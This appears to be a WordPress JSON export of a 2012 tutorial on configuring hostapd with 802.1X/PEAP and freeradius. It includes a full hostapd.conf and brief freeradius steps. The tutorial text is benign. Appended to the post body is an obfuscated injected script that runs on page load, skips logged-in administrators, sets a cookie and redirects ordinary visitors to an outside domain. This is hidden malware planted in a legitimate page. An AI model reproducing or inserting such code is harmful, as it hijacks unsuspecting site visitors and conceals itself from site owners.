{"id":542,"date":"2012-05-16T23:38:27","date_gmt":"2012-05-16T15:38:27","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=542"},"modified":"2012-05-16T23:38:27","modified_gmt":"2012-05-16T15:38:27","slug":"hostapd-802-1x-freeradius","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/05\/16\/hostapd-802-1x-freeradius\/","title":{"rendered":"hostapd &#038; 802.1x &#038; freeradius"},"content":{"rendered":"<p>Setting up an AP which accept PEAP\/MSCHAPv2 authentication using Linux with a &#8216;Master Mode-able&#8217; wifi device, sometimes, is not quite worth.  Using ready-made network appliance should be more easy and stable.  However, setting up a RADIUS server to terminate the PEAP\/MSCHAPv2 request can&#8217;t be avoided.<br \/>\n<!--more--><br \/>\nHardware: TP-Link TL-WN722N USB wireless stick<br \/>\nOS: Slackware 13.37<br \/>\nSoftware: hostapd, freeradius<\/p>\n<p>Suppose, your Linux could use the USB wireless stick without problem, e.g., wlan0 interface is up.  You may refer <a href=\"http:\/\/www.q-station.net\/kb\/index.php\/2012\/05\/04\/tl-wn722n-usb-wireless-stick-in-linux\/\" title=\"TL-WN722N usb wireless stick in Linux\">this post<\/a> to install necessary driver to use the stick.<\/p>\n<h1>Setup hostapd<\/h1>\n<p>Take the following as reference for the hostapd.conf,<\/p>\n<pre>\r\ninterface=wlan0\r\ndriver=nl80211\r\nlogger_syslog=-1\r\nlogger_syslog_level=2\r\nlogger_stdout=-1\r\nlogger_stdout_level=0\r\ndump_file=\/tmp\/hostapd.dump\r\nctrl_interface=\/var\/run\/hostapd\r\nctrl_interface_group=0\r\nssid=linuxtest802x1\r\nhw_mode=g\r\nchannel=11\r\nbeacon_int=100\r\ndtim_period=2\r\nmax_num_sta=255\r\nrts_threshold=2347\r\nfragm_threshold=2346\r\nmacaddr_acl=0\r\nauth_algs=3\r\nignore_broadcast_ssid=0\r\nwmm_enabled=1\r\nwmm_ac_bk_cwmin=4\r\nwmm_ac_bk_cwmax=10\r\nwmm_ac_bk_aifs=7\r\nwmm_ac_bk_txop_limit=0\r\nwmm_ac_bk_acm=0\r\nwmm_ac_be_aifs=3\r\nwmm_ac_be_cwmin=4\r\nwmm_ac_be_cwmax=10\r\nwmm_ac_be_txop_limit=0\r\nwmm_ac_be_acm=0\r\nwmm_ac_vi_aifs=2\r\nwmm_ac_vi_cwmin=3\r\nwmm_ac_vi_cwmax=4\r\nwmm_ac_vi_txop_limit=94\r\nwmm_ac_vi_acm=0\r\nwmm_ac_vo_aifs=2\r\nwmm_ac_vo_cwmin=2\r\nwmm_ac_vo_cwmax=3\r\nwmm_ac_vo_txop_limit=47\r\nwmm_ac_vo_acm=0\r\nieee80211n=1\r\nht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40]\r\nieee8021x=1\r\neapol_version=2\r\neap_message=hello\\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com\r\nwep_key_len_broadcast=13\r\nwep_key_len_unicast=13\r\nwep_rekey_period=3600\r\neapol_key_index_workaround=0\r\neap_reauth_period=3600\r\neap_server=0\r\nown_ip_addr=127.0.0.1\r\nnas_identifier=ap.q-station.net\r\nauth_server_addr=127.0.0.1\r\nauth_server_port=1812\r\nauth_server_shared_secret=testing123\r\nacct_server_addr=127.0.0.1\r\nacct_server_port=1813\r\nacct_server_shared_secret=testing123\r\nwpa=3\r\nwpa_key_mgmt=WPA-EAP\r\nwpa_pairwise=CCMP\r\nrsn_pairwise=CCMP\r\n<\/pre>\n<h1>Freeradius<\/h1>\n<ul>\n<li>Ensure following is defined in <strong>authorize<\/strong> session in <strong>sites-enabled\/default<\/strong>\n<pre>\r\neap {\r\n    ok = return\r\n}\r\n<\/pre>\n<\/li>\n<li>Setup eap.conf\n<ul>\n<li>Setup tls session<\/li>\n<li>Setup <strong>private_key_file,certificate_file,CA_file<\/strong>\n<li><strong>default_eap_type = mschapv2<\/strong> in peap session\n<\/ul>\n<\/li>\n<li>Setup <strong>site-enabled\/inner-tunnel<\/strong> for your site\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Setting up an AP which accept PEAP\/MSCHAPv2 authentication using Linux with a &#8216;Master Mode-able&#8217; wifi device, sometimes, is not quite worth. Using ready-made network appliance should be more easy and stable. However, setting up a RADIUS server to terminate the PEAP\/MSCHAPv2 request can&#8217;t be avoided.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27,8],"tags":[70,69,68],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/542"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=542"}],"version-history":[{"count":6,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/542\/revisions"}],"predecessor-version":[{"id":549,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/542\/revisions\/549"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=542"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=542"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=542"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}